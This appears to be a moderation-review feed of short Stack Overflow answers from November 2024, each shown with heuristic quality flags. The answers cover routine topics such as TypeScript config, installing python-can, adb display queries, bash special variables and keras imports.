Posted by: Somad

79188049

Date: 2024-11-14 09:28:29
Score: 2
Natty:
Report link

You can use FM: RS_EXCEPTION_TO_BAPIRET2

Reasons:
  • Whitelisted phrase (-1.5): You can use
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: CustAndCode

79188048

Date: 2024-11-14 09:27:28
Score: 0.5
Natty:
Report link

Main Differences

Purpose:

Impact on Output Structure:

Impact on File Selection for Compilation:

Conclusion

Thus, rootDir and baseUrl serve different purposes in TypeScript configuration. rootDir helps organize the structure of source and output files, while baseUrl simplifies working with paths when importing modules. Proper use of these parameters can significantly improve the organization of your project and simplify working with code."

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Георгий Барсегян

79188045

Date: 2024-11-14 09:27:28
Score: 5
Natty: 7
Report link

I've another issue: when I try " sudo apt update
sudo apt install python3-can " or " pip install python-can "

the strings/words 'apt' and 'install' are counsidered as invalid syntax, how can I deal whith that ?

Reasons:
  • Blacklisted phrase (0.5): how can I
  • Low length (0.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: John Casuck

79188044

Date: 2024-11-14 09:26:27
Score: 1
Natty:
Report link

One solution is to switch your runner to macos-15. For macos-14 the Xcode 16.0 is removed.

See here and here for more. This is just annoying...

Reasons:
  • Whitelisted phrase (-1): solution is
  • Low length (1):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: akos.one

79188043

Date: 2024-11-14 09:26:27
Score: 2
Natty:
Report link

Possible solution is to use adb command :adb shell dumpsys display | grep "DisplayMode".

The response contains xDpi and yDpi. For example : xDpi=391.885, yDpi=393.29

Reasons:
  • Whitelisted phrase (-1): solution is
  • Low length (1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: name167894

79188035

Date: 2024-11-14 09:24:27
Score: 0.5
Natty:
Report link

As the solution we have overridden the playbook build (generate-site.js module). We have split the main playbook into small set of playbooks which are easy to swallow. We call them as canary playbooks.

async function buildCanaryPlaybooks(playbook, sourcesPerPb = 3) {
  let canaryPlaybooks = {};
  if(playbook.content.sources.length > sourcesPerPb){
    let sources = playbook.content.sources;
    for(let i=0,j=sources.length; i < j; i+=sourcesPerPb){
        let chunk = sources.slice(i, i+ sourcesPerPb)
        let canaryPlaybook = getNewPlaybook(playbook,chunk)
        canaryPlaybooks[i] = canaryPlaybook
    }
  }
  return canaryPlaybooks;
}
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Kal_331

79188031

Date: 2024-11-14 09:23:26
Score: 4
Natty:
Report link

I update from 0.62.2 to 0.76.1 have same issue so i add includeBuild('../node_modules/react-native-gradle-plugin') in settings.gradle is worked. run yarn why react-native-gradle-plugin if have path is success.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Me too answer (2.5): have same issue
  • Single line (0.5):
  • Low reputation (1):
Posted by: Thục TeV

79188027

Date: 2024-11-14 09:22:26
Score: 2
Natty:
Report link

If your organization's computer is connected to a domain, it may be assigned a Fully Qualified Domain Name (FQDN). In this case, "localhost" may not work as expected.

Check with hostname command and verify.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: gopal_bdrsuite

79188023

Date: 2024-11-14 09:20:25
Score: 5
Natty:
Report link

Unfortunately, we are facing the same problem. However, the root cause is that Marten does not support SoftDelete if you are using any kind of AggregateProjection. I found this issue - https://github.com/JasperFx/marten/issues/1992 but it seems to have been closed because it is no longer planned to be solved.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Me too answer (2.5): facing the same problem
  • Single line (0.5):
  • Low reputation (1):
Posted by: Nikita Karalius

79188022

Date: 2024-11-14 09:20:25
Score: 0.5
Natty:
Report link

The best way to avoid repetition is to use the special variable $_ (= the last argument of the previous command):

test -f /path/to/some/file && source $_

The post How can I recall the argument of the previous bash command? has lots of interesting details on those special "recalled" variables.

Reasons:
  • Blacklisted phrase (0.5): How can I
  • Low length (0.5):
  • Has code block (-0.5):
Posted by: Demi-Lune

79188005

Date: 2024-11-14 09:16:21
Score: 8 🚩
Natty:
Report link

Can you please report these issues using the button in this window? There will appear an id of the issue, you can click on its ID and you will see the link of the report. Can you please provide several links on these reports? Thank you!

Reasons:
  • Blacklisted phrase (0.5): Thank you
  • RegEx Blacklisted phrase (2.5): Can you please provide
  • RegEx Blacklisted phrase (1): see the link
  • Low length (0.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Starts with a question (0.5): Can you please
  • Low reputation (0.5):
Posted by: Anton Mefodichev

79187995

Date: 2024-11-14 09:13:20
Score: 0.5
Natty:
Report link

Microsoft has the charizing operator #@ but that's compiler specific.

I found that *# works in both VS and gcc (and probably more) but I can't for the life of me remember where I got it from.

#define MAKECHAR(x)  *#x

causes the statement

a = MAKECHAR(b);

to be expanded to

a = 'b';
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: T. J. Evers

79187985

Date: 2024-11-14 09:07:19
Score: 1.5
Natty:
Report link

I faced the same issue, Initially keras was a independent library, later on it was integrated with tensorflow. It is highly recommended to import the classes from tensorflow.keras not directly from keras. Since tensorflow 2.x is tightly integrated with keras but with keras alone, there is always a issue of different version , setup and all.

So import Tokenizer using this way - from tensorflow.keras.preprocessing.text import Tokenizer

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: user21072539